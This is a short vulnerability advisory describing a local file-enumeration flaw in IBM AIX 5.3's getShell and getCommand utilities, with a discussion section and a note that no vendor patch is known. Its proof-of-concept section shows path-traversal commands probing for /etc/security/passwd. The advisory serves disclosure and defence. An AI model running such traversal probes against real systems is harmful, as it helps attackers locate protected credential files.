IBM AIX GetShell and GetCommand File Enumeration Vulnerability

BID:16102

Info

IBM AIX GetShell and GetCommand File Enumeration Vulnerability

Bugtraq ID: 16102
Class: Design Error
CVE:
Remote: No
Local: Yes
Published: Dec 31 2005 12:00AM
Updated: Dec 31 2005 12:00AM
Credit: Discovery is credited to XFOCUS Security Team.
Vulnerable: IBM AIX 5.3 L
IBM AIX 5.3
Not Vulnerable:

Discussion

IBM AIX GetShell and GetCommand File Enumeration Vulnerability

IBM AIX is prone to a local vulnerability in getShell and getCommand. This issue may let local attackers enumerate the existence of files on the computer that they wouldn't ordinarily be able to see.

Exploit / POC

IBM AIX GetShell and GetCommand File Enumeration Vulnerability

The following example was provided:

-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd.aa
fopen: No such file or directory

Solution / Fix

IBM AIX GetShell and GetCommand File Enumeration Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

IBM AIX GetShell and GetCommand File Enumeration Vulnerability

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